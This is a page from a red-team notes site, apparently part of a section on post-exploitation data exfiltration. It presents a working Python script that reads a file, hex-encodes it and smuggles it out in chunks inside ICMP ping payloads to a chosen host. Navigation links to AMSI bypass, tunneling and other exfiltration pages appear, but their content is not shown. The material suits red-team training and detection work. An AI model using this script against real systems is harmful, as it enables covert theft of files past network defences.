Johnermac
  • About me
  • Active Directory
    • PowerShell
      • Customize
      • Notes
      • ETW
      • AMSI Bypass
      • Obfuscation
    • Enumeration
      • Domain
      • GPO
      • ACL
      • Domain Trusts
      • Forest
      • Extra
      • BloodHound
      • BloodHound CE
  • Tunneling
    • Tools
      • Udp2Raw
      • Fraud Bridge
      • Chisel
      • SSF
      • Egress-Assess
      • Ligolo-ng
      • Sshutle
      • Rpivot
      • Tunna
      • reGeorg
      • Neo-reGeorg
      • PivotSuite
  • Post-Exploitation
    • Data Exfiltration
      • HTTP
        • Cancel
        • wget
        • bash
        • busybox
        • IRB
        • PHP
        • Ruby
      • ICMP
        • XXD
        • Ruby
        • Python
      • UDP
        • Netcat
      • TCP
        • Netcat
        • KSH
        • whois
        • Finger
      • HTTPS
        • Python
        • OpenSSL
  • BLOG
    • Articles
      • Pivoting for Red Teaming
Powered by GitBook
On this page
  • Basic Usage
  • How to extract files using Python
  1. Post-Exploitation
  2. Data Exfiltration
  3. ICMP

Python

Python is a versatile, high-level programming language known for its readability and simplicity

Basic Usage

name = "John"
print("Hello, " + name + "!")

How to extract files using Python

#!/bin/python3
import sys, subprocess
file = sys.argv[1]
target = sys.argv[2]
msg=''
with open(file) as fh:
    for line in fh:
        for ch in line:
            msg=msg+ch
            if(len(msg))==16:
                print ("Sending Secret message")
                enctext = r''.join(hex(ord(c)).split("x")[1] for c in msg)
                try:
                    subprocess.check_output(["ping", "-p", enctext, "-c", "1", target])
                    msg=''
                except:
                    print("Packet Loss")
                    msg=''

PreviousRubyNextUDP

Last updated 2 years ago

Source:

https://github.com/R0aDt0OSCP/ICMPdataexfil/blob/main/icmp.py
Send a File
Wireshark Results